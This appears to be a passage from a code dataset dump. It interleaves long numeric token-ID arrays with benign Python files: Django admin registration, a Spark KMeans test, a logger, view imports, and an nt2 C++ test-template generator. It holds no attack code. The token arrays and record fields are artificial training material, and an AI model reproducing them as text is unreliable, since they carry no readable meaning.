18884, 2186, 29918, 8336, 29961, 29878, 29896, 29879, 29961, 29900, 1822, 22495, 3816, 29878, 29896, 29879, 29961, 29900, 1822, 710, 392, 1822, 7851, 29898, 13, 462, 1678, 364, 29896, 29879, 29961, 29900, 1822, 2962, 29892, 364, 29896, 29879, 29961, 29900, 1822, 355, 29892, 474, 13, 18884, 1723, 13, 9651, 1683, 29901, 13, 18884, 2186, 29918, 8336, 29961, 29878, 29906, 29879, 29961, 29900, 1822, 22495, 3816, 29878, 29906, 29879, 29961, 29900, 1822, 710, 392, 1822, 7851, 29898, 13, 462, 1678, 364, 29906, 29879, 29961, 29900, 1822, 2962, 29892, 364, 29906, 29879, 29961, 29900, 1822, 355, 29892, 474, 13, 18884, 1723, 13, 13, 4706, 1583, 29889, 3539, 29918, 19594, 29918, 8336, 29918, 294, 29918, 29887, 600, 29898, 13, 9651, 2186, 29918, 8336, 29892, 13, 9651, 12420, 29892, 13, 9651, 2318, 29918, 9507, 29892, 13, 9651, 4559, 29918, 13506, 29892, 13, 9651, 1962, 29918, 13506, 29892, 13, 9651, 5172, 29939, 29918, 9507, 29906, 29922, 11255, 29939, 29918, 9507, 29892, 13, 4706, 1723, 13, 13, 1678, 822, 2436, 29918, 19594, 29918, 8336, 29918, 294, 29918, 29887, 600, 29898, 13, 4706, 1583, 29892, 13, 4706, 9867, 29918, 8336, 29901, 2233, 5402, 9643, 29892, 13, 4706, 1162, 29918, 1761, 29901, 2391, 29961, 29954, 4198, 29889, 29887, 1958, 9182, 1402, 13, 4706, 2318, 29918, 9507, 29906, 29901, 7761, 29961, 710, 29892, 10802, 1402, 13, 4706, 4559, 29918, 13506, 29906, 29901, 851, 29892, 13, 4706, 1962, 29918, 13506, 29901, 851, 29892, 13, 4706, 5172, 29939, 29918, 9507, 29906, 29901, 28379, 29961, 19986, 29961, 710, 29892, 10802, 5262, 353, 6213, 29892, 13, 1678, 1723, 1599, 360, 919, 29961, 710, 29892, 851, 5387, 13, 4706, 9995, 13, 4706, 14350, 2233, 5402, 9643, 313, 22495, 6660, 9657, 6660, 313, 2962, 29892, 1095, 29892, 1162, 29918, 1761, 29918, 2248, 876, 408, 784, 23384, 29954, 4198, 3402, 13, 4706, 16969, 11474, 263, 716, 2318, 29918, 3888, 21004, 13, 4706, 9995, 13, 4706, 565, 5172, 29939, 29918, 9507, 29906, 338, 451, 6213, 29901, 13, 9651, 5172, 29939, 29918, 8977, 29906, 353, 341, 2442, 29925, 29933, 9643, 29889, 949, 29918, 11255, 29939, 29918, 517, 29918, 8977, 29898, 11255, 29939, 29918, 9507, 29906, 29897, 13, 9651, 285, 29918, 11255, 29939, 353, 10802, 29898, 29888, 29908, 29912, 4905, 29918, 13506, 1836, 3445, 29889, 29888, 29939, 1159, 13, 4706, 2318, 29918, 3888, 29906, 353, 341, 2442, 29925, 29933, 9643, 29889, 949, 29918, 2972, 29898, 2972, 29918, 9507, 29906, 29892, 4559, 29918, 13506, 29906, 29897, 13, 4706, 716, 29918, 2972, 29918, 3888, 353, 6571, 13, 13, 4706, 411, 1722, 29898, 29888, 29908, 29912, 4905, 29918, 13506, 1836, 29885, 2442, 29918, 3888, 29889, 3945, 613, 376, 29893, 1159, 408, 285, 29918, 29885, 2972, 29901, 13, 9651, 285, 29918, 29885, 2972, 29889, 3539, 29898, 29888, 29908, 29886, 23883, 29905, 29873, 29912, 1311, 29889, 1311, 29918, 13506, 1012, 29873, 29912, 11249, 29918, 13506, 29906, 1012, 29876, 1159, 13, 9651, 21736, 29918, 2248, 353, 29871, 29900, 13, 9651, 25173, 29879, 353, 1051, 29898, 19594, 29918, 8336, 29889, 8149, 3101, 13, 9651, 25173, 29879, 29889, 6605, 580, 13, 13, 9651, 363, 313, 13, 18884, 413, 13, 9651, 1723, 297, 313, 13, 18884, 25173, 29879, 13, 632, 1125, 29871, 396, 306, 3580, 8476, 13566, 29901, 363, 21736, 29892, 445, 338, 334, 5143, 29930, 278, 25173, 310, 278, 937, 2407, 29991, 383, 375, 1080, 508, 367, 2473, 29899, 27433, 13, 18884, 363, 851, 392, 297, 4852, 29974, 613, 11663, 29908, 1125, 13, 462, 1678, 363, 334, 3383, 1162, 29918, 513, 1575, 297, 9867, 29918, 8336, 29961, 29895, 3816, 710, 392, 1822, 657, 1727, 1080, 7295, 13, 462, 4706, 363, 474, 297, 1162, 29918, 513, 1575, 29901, 13, 462, 9651, 21736, 29918, 2248, 4619, 29871, 29896, 13, 462, 9651, 260, 1367, 353, 285, 29908, 29925, 29933, 29888, 3958, 29889, 29912, 29888, 3958, 29918, 2248, 5038, 13, 462, 9651, 364, 29896, 29879, 29892, 364, 29906, 29879, 353, 1162, 29918, 1761, 29961, 29875, 29962, 13, 462, 9651, 565, 364, 29896, 29879, 338, 6213, 29901, 29871, 396, 364, 29906, 29879, 338, 451, 6213, 13, 462, 18884, 1162, 29879, 353, 364, 29906, 29879, 13, 462, 18884, 364, 29906, 29918, 29888, 3958, 29918, 333, 353, 679, 29918, 29888, 3958, 29918, 333, 29898, 29878, 29906, 29879, 29961, 29900, 1822, 11762, 333, 29897, 13, 462, 18884, 716, 29918, 2972, 29918, 3888, 29961, 29873, 1367, 29962, 353, 2318, 29918, 3888, 29906, 29961, 29878, 29906, 29918, 29888, 3958, 29918, 333, 29962, 13, 462, 18884, 285, 29918, 29885, 2972, 29889, 3539, 29898, 29888, 29908, 29912, 29873, 1367, 1012, 29873, 3521, 29905, 29873, 29912, 29878, 29906, 29918, 29888, 3958, 29918, 333, 1012, 29876, 1159, 13, 462, 18884, 565, 5172, 29939, 29918, 9507, 29906, 338, 451, 6213, 29901, 13, 462, 462, 1678, 19359, 3757, 353, 5172, 29939, 29918, 8977, 29906, 29961, 29878, 29906, 29918, 29888, 3958, 29918, 333, 29962, 13, 462, 9651, 25342, 364, 29906, 29879, 338, 6213, 29901, 29871, 396, 364, 29896, 338, 451, 6213, 13, 462, 18884, 1162, 29879, 353, 364, 29896, 29879, 13, 462, 18884, 364, 29896, 29918, 29888, 3958, 29918, 333, 353, 679, 29918, 29888, 3958, 29918, 333, 29898, 29878, 29896, 29879, 29961, 29900, 1822, 11762, 333, 29897, 13, 462, 18884, 716, 29918, 2972, 29918, 3888, 29961, 29873, 1367, 29962, 353, 1583, 29889, 2972, 29918, 3888, 29961, 29878, 29896, 29918, 29888, 3958, 29918, 333, 29962, 13, 462, 18884, 285, 29918, 29885, 2972, 29889, 3539, 29898, 29888, 29908, 29912, 29873, 1367, 1012, 29873, 29912, 29878, 29896, 29918, 29888, 3958, 29918, 333, 1012, 29873, 3521, 29905, 29876, 1159, 13, 462, 18884, 565, 5172, 29939, 29918, 9507, 29906, 338, 451, 6213, 29901, 13, 462, 462, 1678, 19359, 3757, 353, 1583, 29889, 11255, 29939, 29918, 8977, 29961, 29878, 29896, 29918, 29888, 3958, 29918, 333, 29962, 13, 462, 9651, 1683, 29901, 29871, 396, 1716, 364, 29896, 29892, 364, 29906, 526, 451, 4069, 13, 462, 18884, 364, 29896, 29918, 29888, 3958, 29918, 333, 353, 679, 29918, 29888, 3958, 29918, 333, 29898, 29878, 29896, 29879, 29961, 29900, 1822, 11762, 333, 29897, 13, 462, 18884, 364, 29906, 29918, 29888, 3958, 29918, 333, 353, 679, 29918, 29888, 3958, 29918, 333, 29898, 29878, 29906, 29879, 29961, 29900, 1822, 11762, 333, 29897, 13, 462, 18884, 364, 29896, 29918, 2435, 353, 2533, 29898, 29916, 29889, 355, 448, 921, 29889, 2962, 363, 921, 297, 364, 29896, 29879, 29897, 13, 462, 18884, 364, 29906, 29918, 2435, 353, 2533, 29898, 29916, 29889, 355, 448, 921, 29889, 2962, 363, 921, 297, 364, 29906, 29879, 29897, 13, 462, 18884, 565, 364, 29896, 29918, 2435, 1405, 364, 29906, 29918, 2435, 29901, 13, 462, 462, 1678, 1162, 29879, 353, 364, 29896, 29879, 13, 462, 462, 1678, 565, 5172, 29939, 29918, 9507, 29906, 338, 451, 6213, 29901, 13, 462, 462, 4706, 19359, 3757, 353, 1583, 29889, 11255, 29939, 29918, 8977, 29961, 29878, 29896, 29918, 29888, 3958, 29918, 333, 29962, 13, 462, 18884, 1683, 29901, 13, 462, 462, 1678, 1162, 29879, 353, 364, 29906, 29879, 13, 462, 462, 1678, 565, 5172, 29939, 29918, 9507, 29906, 338, 451, 6213, 29901, 13, 462, 462, 4706, 19359, 3757, 353, 5172, 29939, 29918, 8977, 29906, 29961, 29878, 29906, 29918, 29888, 3958, 29918, 333, 29962, 13, 462, 18884, 716, 29918, 2972, 29918, 3888, 29961, 29873, 1367, 29962, 353, 313, 13, 462, 462, 1678, 1583, 29889, 2972, 29918, 3888, 29961, 29878, 29896, 29918, 29888, 3958, 29918, 333, 29962, 13, 462, 462, 1678, 718, 2318, 29918, 3888, 29906, 29961, 29878, 29906, 29918, 29888, 3958, 29918, 333, 29962, 13, 462, 18884, 1723, 13, 462, 18884, 285, 29918, 29885, 2972, 29889, 3539, 29898, 13, 462, 462, 1678, 285, 29908, 29912, 29873, 1367, 1012, 29873, 29912, 29878, 29896, 29918, 29888, 3958, 29918, 333, 1012, 29873, 29912, 29878, 29906, 29918, 29888, 3958, 29918, 333, 1012, 29876, 29908, 13, 462, 18884, 1723, 13, 13, 462, 9651, 565, 5172, 29939, 29918, 9507, 29906, 338, 451, 6213, 29901, 13, 462, 18884, 19359, 3757, 29889, 333, 353, 260, 1367, 13, 462, 18884, 25981, 5971, 29889, 3539, 29898, 11762, 3757, 29892, 1722, 29898, 29888, 29918, 11255, 29939, 29892, 376, 29893, 4968, 376, 11255, 29939, 1159, 13, 13, 462, 9651, 411, 1722, 29898, 29888, 29908, 29912, 4905, 29918, 13506, 1836, 2972, 29889, 3945, 613, 376, 29893, 1159, 408, 285, 29918, 2972, 29901, 13, 462, 18884, 285, 29918, 2972, 29889, 3539, 29898, 13, 462, 462, 1678, 285, 29908, 29912, 29873, 1367, 1012, 29873, 29912, 3788, 29889, 7122, 29898, 1482, 29918, 2972, 29918, 3888, 29961, 29873, 1367, 2314, 1012, 29876, 29908, 13, 462, 18884, 1723, 13, 13, 462, 9651, 411, 1722, 29898, 29888, 29908, 29912, 4905, 29918, 13506, 1836, 29887, 600, 613, 376, 29893, 1159, 408, 285, 29918, 449, 29901, 13, 462, 18884, 396, 1286, 2436, 714, 278, 21736, 1301, 924, 13, 462, 18884, 363, 432, 29892, 364, 297, 26985, 29898, 276, 2395, 1125, 13, 462, 462, 1678, 285, 29918, 449, 29889, 3539, 29898, 13, 462, 462, 4706, 285, 29915, 29912, 29878, 29889, 22495, 1012, 29873, 29925, 562, 29933, 601, 29905, 29873, 3286, 924, 29905, 29873, 29912, 29878, 29889, 2962, 718, 29871, 29896, 1012, 29873, 29912, 29878, 29889, 355, 1012, 29873, 7790, 29873, 29912, 710, 392, 1012, 29873, 7790, 29873, 29887, 1600, 29918, 333, 29850, 29873, 1367, 29913, 1769, 1301, 924, 29918, 333, 29850, 29873, 1367, 1836, 29912, 29926, 718, 29871, 29896, 29913, 1769, 29905, 29876, 29915, 13, 462, 462, 1678, 1723, 13, 462, 462, 1678, 363, 429, 265, 297, 364, 29889, 999, 29918, 735, 787, 29901, 13, 462, 462, 4706, 285, 29918, 449, 29889, 3539, 29898, 13, 462, 462, 9651, 285, 29915, 29912, 29878, 29889, 22495, 1012, 29873, 29925, 562, 29933, 601, 29905, 4776, 265, 29905, 29873, 29912, 735, 265, 29889, 2962, 718, 29871, 29896, 1012, 29873, 29912, 735, 265, 29889, 355, 1012, 29873, 7790, 29873, 29912, 710, 392, 1012, 29873, 7790, 29873, 29887, 1600, 29918, 333, 29850, 29873, 1367, 29913, 1769, 1301, 924, 29918, 333, 29850, 29873, 1367, 1836, 29912, 29926, 718, 29871, 29896, 29913, 1769, 29905, 29876, 29915, 13, 462, 462, 4706, 1723, 13, 4706, 736, 716, 29918, 2972, 29918, 3888, 13, 2 ]
QuizApp/admin.py
mokosaur/legit-quizzes
1
40599
from django.contrib import admin from .models import Label, Choice, Quiz, Question, Answer, Submit # Register your models here. admin.site.register(Quiz) admin.site.register(Question) admin.site.register(Answer) admin.site.register(Label) admin.site.register(Submit) admin.site.register(Choice)
[ 1, 515, 9557, 29889, 21570, 1053, 4113, 13, 3166, 869, 9794, 1053, 15796, 29892, 14542, 625, 29892, 751, 466, 29892, 894, 29892, 673, 29892, 3323, 2415, 13, 13, 29937, 12577, 596, 4733, 1244, 29889, 13, 6406, 29889, 2746, 29889, 9573, 29898, 2182, 466, 29897, 13, 6406, 29889, 2746, 29889, 9573, 29898, 16492, 29897, 13, 6406, 29889, 2746, 29889, 9573, 29898, 22550, 29897, 13, 13, 6406, 29889, 2746, 29889, 9573, 29898, 4775, 29897, 13, 6406, 29889, 2746, 29889, 9573, 29898, 16228, 29897, 13, 6406, 29889, 2746, 29889, 9573, 29898, 29620, 29897, 2 ]
splearn/cluster/tests/test_k_means.py
dtrckd/sparkit-learn
1,219
46310
import numpy as np from sklearn.cluster import KMeans from splearn.cluster import SparkKMeans from splearn.utils.testing import SplearnTestCase, assert_array_almost_equal class TestKMeans(SplearnTestCase): def test_same_centroids(self): X, y, X_rdd = self.make_blobs(centers=4, n_samples=200000) local = KMeans(n_clusters=4, init='k-means++', random_state=42) dist = SparkKMeans(n_clusters=4, init='k-means++', random_state=42) local.fit(X) dist.fit(X_rdd) local_centers = np.sort(local.cluster_centers_, axis=0) dist_centers = np.sort(dist.cluster_centers_, axis=0) assert_array_almost_equal(local_centers, dist_centers, decimal=4)
[ 1, 1053, 12655, 408, 7442, 13, 3166, 2071, 19668, 29889, 19594, 1053, 476, 6816, 550, 13, 3166, 269, 552, 2753, 29889, 19594, 1053, 20814, 29968, 6816, 550, 13, 3166, 269, 552, 2753, 29889, 13239, 29889, 13424, 1053, 317, 552, 2753, 3057, 8259, 29892, 4974, 29918, 2378, 29918, 284, 3242, 29918, 11745, 13, 13, 13, 1990, 4321, 29968, 6816, 550, 29898, 29903, 552, 2753, 3057, 8259, 1125, 13, 13, 1678, 822, 1243, 29918, 17642, 29918, 1760, 1007, 29879, 29898, 1311, 1125, 13, 4706, 1060, 29892, 343, 29892, 1060, 29918, 29878, 1289, 353, 1583, 29889, 5675, 29918, 10054, 29879, 29898, 1760, 414, 29922, 29946, 29892, 302, 29918, 27736, 29922, 29906, 29900, 29900, 29900, 29900, 29900, 29897, 13, 13, 4706, 1887, 353, 476, 6816, 550, 29898, 29876, 29918, 695, 504, 414, 29922, 29946, 29892, 2069, 2433, 29895, 29899, 1004, 550, 1817, 742, 4036, 29918, 3859, 29922, 29946, 29906, 29897, 13, 4706, 1320, 353, 20814, 29968, 6816, 550, 29898, 29876, 29918, 695, 504, 414, 29922, 29946, 29892, 2069, 2433, 29895, 29899, 1004, 550, 1817, 742, 4036, 29918, 3859, 29922, 29946, 29906, 29897, 13, 13, 4706, 1887, 29889, 9202, 29898, 29990, 29897, 13, 4706, 1320, 29889, 9202, 29898, 29990, 29918, 29878, 1289, 29897, 13, 13, 4706, 1887, 29918, 1760, 414, 353, 7442, 29889, 6605, 29898, 2997, 29889, 19594, 29918, 1760, 414, 3383, 9685, 29922, 29900, 29897, 13, 4706, 1320, 29918, 1760, 414, 353, 7442, 29889, 6605, 29898, 5721, 29889, 19594, 29918, 1760, 414, 3383, 9685, 29922, 29900, 29897, 13, 13, 4706, 4974, 29918, 2378, 29918, 284, 3242, 29918, 11745, 29898, 2997, 29918, 1760, 414, 29892, 1320, 29918, 1760, 414, 29892, 13677, 29922, 29946, 29897, 13, 2 ]
dmatch/logger.py
mcrts/dmatch
1
188182
#!/usr/bin/env python # -*- coding: utf-8 -* import sys import logging log = logging.getLogger("dmatch") log.setLevel(logging.INFO) formatter = logging.Formatter('[%(asctime)s] {%(filename)s:%(lineno)d} %(levelname)s - %(message)s') ch = logging.StreamHandler() ch.setFormatter(formatter) log.addHandler(ch)
[ 1, 18787, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 13, 5215, 10876, 13, 5215, 12183, 13, 1188, 353, 12183, 29889, 657, 16363, 703, 29881, 4352, 1159, 13, 1188, 29889, 842, 10108, 29898, 21027, 29889, 11690, 29897, 13, 689, 2620, 353, 12183, 29889, 18522, 877, 29961, 29995, 29898, 294, 312, 603, 29897, 29879, 29962, 18674, 29898, 9507, 29897, 29879, 16664, 29898, 1915, 8154, 29897, 29881, 29913, 1273, 29898, 5563, 978, 29897, 29879, 448, 1273, 29898, 4906, 29897, 29879, 1495, 13, 305, 353, 12183, 29889, 3835, 4598, 580, 13, 305, 29889, 842, 18522, 29898, 689, 2620, 29897, 13, 1188, 29889, 1202, 4598, 29898, 305, 29897, 2 ]
calaccess_website/views/docs/__init__.py
california-civic-data-coalition/django-calaccess-downloads
3
134631
from .calaccess import ( CalAccessFileList, CalAccessFileDetail, CalAccessFileDownloadsList, ) from .ccdc import ( CcdcFileList, CcdcFileDetail, CcdcFileDownloadsList, ) from .forms import FormList, FormDetail from .official import OfficialDocumentation from .other import DocumentationIndex, FAQ __all__ = ( 'CalAccessFileList', 'CalAccessFileDetail', 'CalAccessFileDownloadsList', 'CcdcFileList', 'CcdcFileDetail', 'CcdcFileDownloadsList', 'DocumentationIndex', 'FAQ', 'FormList', 'FormDetail', 'OfficialDocumentation', )
[ 1, 515, 869, 1052, 5943, 1053, 313, 13, 1678, 3037, 6638, 2283, 1293, 29892, 13, 1678, 3037, 6638, 2283, 16570, 29892, 13, 1678, 3037, 6638, 2283, 6767, 18132, 1293, 29892, 13, 29897, 13, 3166, 869, 617, 13891, 1053, 313, 13, 1678, 315, 2252, 29883, 2283, 1293, 29892, 13, 1678, 315, 2252, 29883, 2283, 16570, 29892, 13, 1678, 315, 2252, 29883, 2283, 6767, 18132, 1293, 29892, 13, 29897, 13, 3166, 869, 9514, 1053, 3812, 1293, 29892, 3812, 16570, 13, 3166, 869, 29877, 7880, 1053, 10564, 6268, 362, 13, 3166, 869, 1228, 1053, 10854, 362, 3220, 29892, 13515, 29984, 13, 13, 13, 1649, 497, 1649, 353, 313, 13, 1678, 525, 7856, 6638, 2283, 1293, 742, 13, 1678, 525, 7856, 6638, 2283, 16570, 742, 13, 1678, 525, 7856, 6638, 2283, 6767, 18132, 1293, 742, 13, 1678, 525, 29907, 2252, 29883, 2283, 1293, 742, 13, 1678, 525, 29907, 2252, 29883, 2283, 16570, 742, 13, 1678, 525, 29907, 2252, 29883, 2283, 6767, 18132, 1293, 742, 13, 1678, 525, 6268, 362, 3220, 742, 13, 1678, 525, 4519, 29984, 742, 13, 1678, 525, 2500, 1293, 742, 13, 1678, 525, 2500, 16570, 742, 13, 1678, 525, 29949, 7880, 6268, 362, 742, 13, 29897, 13, 2 ]
script/python/lib/exhaust_generation/exhaustive_tpls.py
timblechmann/nt2
2
28627
#! /usr/bin/env python # -*- coding: iso-8859-15 -*- ############################################################################## # Copyright 2003 & onward LASMEA UMR 6602 CNRS/Univ. Clermont II # Copyright 2009 & onward LRI UMR 8623 CNRS/Univ Paris Sud XI # # Distributed under the Boost Software License, Version 1.0 # See accompanying file LICENSE.txt or copy at # http://www.boost.org/LICENSE_1_0.txt ############################################################################## """generation of an exhaustive test unit """ __author__ = "<NAME> (<EMAIL>)" __version__ = "$Revision: 1.0 $" __date__ = "$Date: 2011 $" __copyright__ = "<NAME>" __license__ = "Boost Software License, Version 1.0" class Exhaustive_data(object) : Tpl = { 'scalar' : { }, 'simd' : { 'global_header_txt' : '\n'.join([ '////////////////////////////////////////////////////////////////////////', '// exhaustive test in simd mode for functor $prefix$::$name$', '////////////////////////////////////////////////////////////////////////', '#include <nt2/include/functions/$name$.hpp>', '', '#include <nt2/include/functions/iround.hpp>', '#include <nt2/include/functions/load.hpp>', '#include <nt2/include/functions/min.hpp>', '#include <nt2/include/functions/splat.hpp>', '#include <nt2/include/functions/successor.hpp>', '#include <nt2/include/functions/ulpdist.hpp>', '', '#include <nt2/include/constants/real.hpp>', '', '#include <nt2/sdk/meta/cardinal_of.hpp>', '#include <nt2/sdk/meta/as_integer.hpp>', '', '#include <iostream>', '', 'typedef BOOST_SIMD_DEFAULT_EXTENSION ext_t;', ]), 'typ_repfunc_txt' : '\n'.join([ 'static inline ', 'typename nt2::meta::call<nt2::tag::$name$_($typ$)>::type', 'repfunc(const $typ$ & a0)', '{', ' return $repfunc$;', '}', ]), 'test_func_forwarding_txt' : '\n'.join([ 'template <class T>', 'void exhaust_test_$name$(const T& mini,const T& maxi);' ]), 'test_func_call_txt' : '\n'.join([ ' exhaust_test_$name$($mini$,$maxi$);' ]), 'main_beg_txt' : '\n'.join([ 'int main(){', '{', ]), 'main_end_txt' : '\n'.join([ ' return 0;', '}', '', ]), 'test_func_typ_txt' : '\n'.join([ 'template <>', 'void exhaust_test_$name$<$typ$>(const $typ$& mini,const $typ$& maxi)', ' {', ' typedef boost::simd::native<$typ$,ext_t> n_t;', ' typedef typename nt2::meta::as_integer<n_t>::type in_t;', ' typedef typename nt2::meta::call<nt2::tag::$name$_($typ$)>::type r_t;', ' typedef typename nt2::meta::call<nt2::tag::$name$_(n_t)>::type r_t;', ' $typ$ mini = $mini$;', ' $typ$ maxi = $maxi$;', ' const nt2::uint32_t N = nt2::meta::cardinal_of<n_t>::value;', ' const in_t vN = nt2::splat<in_t>(N);', ' const nt2::uint32_t M = 10;', ' nt2::uint32_t histo[M+1];', ' for(nt2::uint32_t i = 0; i < M; i++) histo[i] = 0;', ' float a[N];', ' a[0] = mini;', ' for(nt2::uint32_t i = 1; i < N; i++)', ' a[i] = nt2::successor(a[i-1], 1);', ' n_t a0 = nt2::load<n_t>(&a[0],0);', ' nt2::uint32_t k = 0,j = 0;', ' std::cout << "a line of points to wait for... be patient!" << std::endl;', ' for(; a0[N-1] < maxi; a0 = nt2::successor(a0, vN))', ' {', ' n_t z = nt2::$name$(a0);', ' for(nt2::uint32_t i = 0; i < N; i++)', ' {', ' float v = repfunc(a0[i]);', ' float sz = z[i];', ' ++histo[nt2::min(M, nt2::iround(2*nt2::ulpdist(v, sz)))];', ' ++k;', ' if (k%100000000 == 0){', ' std::cout << "." << std::flush; ++j;', ' if (j == 80){std::cout << std::endl; j = 0;}', ' }', ' }', ' }', ' std::cout << "exhaustive test for " << std::endl;', ' std::cout << " nt2::$name$ versus $repfunc$ " << std::endl;', ' std::cout << " in $mode$ mode and $typ$ type" << std::endl;', ' for(nt2::uint32_t i = 0; i < M; i++)', ' std::cout << i/2.0 << " -> " << histo[i] << std::endl;', ' std::cout << k << " values computed" << std::endl;', ' std::cout << std::endl;', ' std::cout << std::endl;', ' for(nt2::uint32_t i = 0; i < M; i++)', ' std::cout << i/2.0 << " -> "', ' << (histo[i]*100.0/k) << "%" << std::endl;', ' }', '', ]), } } def __init__(self) : self.tpl = Exhaustive_data.Tpl if __name__ == "__main__" : print __doc__ from pprint import PrettyPrinter PrettyPrinter().pprint(Exhaustive_data.Tpl) PrettyPrinter().pprint(Exhaustive_data().tpl)
[ 1, 396, 29991, 847, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 448, 29930, 29899, 14137, 29901, 338, 29877, 29899, 29947, 29947, 29945, 29929, 29899, 29896, 29945, 29871, 448, 29930, 29899, 13, 13383, 13383, 13383, 13383, 7346, 4136, 2277, 13, 29937, 308, 14187, 1266, 29871, 29906, 29900, 29900, 29941, 669, 373, 1328, 365, 3289, 2303, 29909, 501, 21055, 29871, 29953, 29953, 29900, 29906, 315, 29940, 12445, 29914, 2525, 440, 29889, 2233, 837, 609, 1944, 13, 29937, 308, 14187, 1266, 29871, 29906, 29900, 29900, 29929, 669, 373, 1328, 365, 3960, 1678, 501, 21055, 29871, 29947, 29953, 29906, 29941, 315, 29940, 12445, 29914, 2525, 440, 3681, 8383, 18488, 13, 29937, 13, 29937, 3986, 6652, 7541, 1090, 278, 1952, 520, 18540, 19245, 29892, 10079, 29871, 29896, 29889, 29900, 13, 29937, 462, 2823, 10259, 1384, 292, 934, 365, 2965, 1430, 1660, 29889, 3945, 470, 3509, 472, 13, 29937, 462, 268, 1732, 597, 1636, 29889, 17079, 29889, 990, 29914, 27888, 1430, 1660, 29918, 29896, 29918, 29900, 29889, 3945, 13, 13383, 13383, 13383, 13383, 7346, 4136, 2277, 13, 13, 13, 15945, 29908, 4738, 362, 310, 385, 27096, 573, 1243, 5190, 13, 15945, 29908, 13, 1649, 8921, 1649, 1678, 353, 9872, 5813, 29958, 313, 29966, 26862, 6227, 29958, 5513, 13, 1649, 3259, 1649, 259, 353, 3908, 1123, 4924, 29901, 29871, 29896, 29889, 29900, 395, 29908, 13, 1649, 1256, 1649, 418, 353, 3908, 2539, 29901, 29871, 29906, 29900, 29896, 29896, 1678, 395, 29908, 13, 1649, 8552, 1266, 1649, 353, 9872, 5813, 11903, 13, 1649, 506, 1947, 1649, 259, 353, 376, 8431, 520, 18540, 19245, 29892, 10079, 29871, 29896, 29889, 29900, 29908, 13, 13, 1990, 1222, 2350, 504, 573, 29918, 1272, 29898, 3318, 29897, 584, 13, 1678, 323, 572, 353, 426, 13, 4706, 525, 19529, 279, 29915, 584, 426, 13, 9651, 2981, 13, 4706, 525, 3601, 29881, 29915, 584, 426, 13, 9651, 525, 10945, 29918, 6672, 29918, 3945, 29915, 584, 11297, 29876, 4286, 7122, 4197, 13, 18884, 525, 19511, 19511, 19511, 19511, 10797, 742, 13, 18884, 525, 458, 27096, 573, 1243, 297, 1027, 29881, 4464, 363, 2090, 2801, 395, 13506, 29938, 1057, 29938, 978, 29938, 742, 13, 18884, 525, 19511, 19511, 19511, 19511, 10797, 742, 13, 18884, 16321, 2856, 529, 593, 29906, 29914, 2856, 29914, 12171, 13346, 978, 1504, 29623, 29958, 742, 13, 18884, 15516, 13, 18884, 16321, 2856, 529, 593, 29906, 29914, 2856, 29914, 12171, 29914, 381, 618, 29889, 29623, 29958, 742, 13, 18884, 16321, 2856, 529, 593, 29906, 29914, 2856, 29914, 12171, 29914, 1359, 29889, 29623, 29958, 742, 13, 18884, 16321, 2856, 529, 593, 29906, 29914, 2856, 29914, 12171, 29914, 1195, 29889, 29623, 29958, 742, 13, 18884, 16321, 2856, 529, 593, 29906, 29914, 2856, 29914, 12171, 29914, 23579, 271, 29889, 29623, 29958, 742, 13, 18884, 16321, 2856, 529, 593, 29906, 29914, 2856, 29914, 12171, 29914, 8698, 272, 29889, 29623, 29958, 742, 13, 18884, 16321, 2856, 529, 593, 29906, 29914, 2856, 29914, 12171, 29914, 15323, 5721, 29889, 29623, 29958, 742, 13, 18884, 15516, 13, 18884, 16321, 2856, 529, 593, 29906, 29914, 2856, 29914, 3075, 1934, 29914, 6370, 29889, 29623, 29958, 742, 13, 18884, 15516, 13, 18884, 16321, 2856, 529, 593, 29906, 29914, 15348, 29914, 7299, 29914, 7543, 979, 29918, 974, 29889, 29623, 29958, 742, 13, 18884, 16321, 2856, 529, 593, 29906, 29914, 15348, 29914, 7299, 29914, 294, 29918, 16031, 29889, 29623, 29958, 742, 13, 18884, 15516, 13, 18884, 16321, 2856, 529, 23811, 29958, 742, 13, 18884, 15516, 13, 18884, 525, 1017, 9795, 1389, 16437, 3718, 29918, 5425, 5773, 29918, 23397, 29918, 12194, 1430, 13381, 1294, 29918, 29873, 29936, 742, 13, 9651, 4514, 511, 13, 9651, 525, 22449, 29918, 3445, 9891, 29918, 3945, 29915, 584, 11297, 29876, 4286, 7122, 4197, 13, 18884, 525, 7959, 10583, 13420, 13, 18884, 525, 22646, 302, 29873, 29906, 1057, 7299, 1057, 4804, 29966, 593, 29906, 1057, 4039, 1057, 29938, 978, 14630, 1566, 22449, 10931, 21347, 1853, 742, 13, 18884, 525, 3445, 9891, 29898, 3075, 395, 22449, 29938, 669, 263, 29900, 29897, 742, 13, 18884, 22372, 742, 13, 18884, 525, 29871, 736, 395, 3445, 9891, 22073, 742, 13, 18884, 525, 29913, 742, 13, 18884, 4514, 511, 13, 9651, 525, 1688, 29918, 9891, 29918, 11333, 292, 29918, 3945, 29915, 584, 11297, 29876, 4286, 7122, 4197, 13, 18884, 525, 6886, 529, 1990, 323, 29958, 742, 13, 18884, 525, 5405, 27096, 29918, 1688, 29918, 29938, 978, 12330, 3075, 323, 29987, 20629, 29892, 3075, 323, 29987, 4236, 29875, 416, 29915, 13, 18884, 4514, 511, 13, 9651, 525, 1688, 29918, 9891, 29918, 4804, 29918, 3945, 29915, 584, 11297, 29876, 4286, 7122, 4197, 13, 18884, 525, 1678, 27096, 29918, 1688, 29918, 29938, 978, 29938, 1566, 1195, 29875, 1628, 29938, 3317, 29875, 29938, 416, 29915, 13, 18884, 4514, 511, 13, 9651, 525, 3396, 29918, 28060, 29918, 3945, 29915, 584, 11297, 29876, 4286, 7122, 4197, 13, 18884, 525, 524, 1667, 4923, 742, 13, 18884, 22372, 742, 13, 18884, 4514, 511, 13, 9651, 525, 3396, 29918, 355, 29918, 3945, 29915, 584, 11297, 29876, 4286, 7122, 4197, 13, 18884, 525, 29871, 736, 29871, 29900, 29936, 742, 13, 18884, 525, 29913, 742, 13, 18884, 15516, 13, 18884, 4514, 511, 13, 9651, 525, 1688, 29918, 9891, 29918, 22449, 29918, 3945, 29915, 584, 11297, 29876, 4286, 7122, 4197, 13, 18884, 525, 6886, 15271, 742, 13, 18884, 525, 5405, 27096, 29918, 1688, 29918, 29938, 978, 29938, 29966, 29938, 22449, 29938, 5961, 3075, 395, 22449, 29938, 29987, 20629, 29892, 3075, 395, 22449, 29938, 29987, 4236, 29875, 29897, 742, 13, 18884, 525, 29871, 426, 742, 13, 18884, 525, 1678, 21787, 14505, 1057, 3601, 29881, 1057, 11487, 29966, 29938, 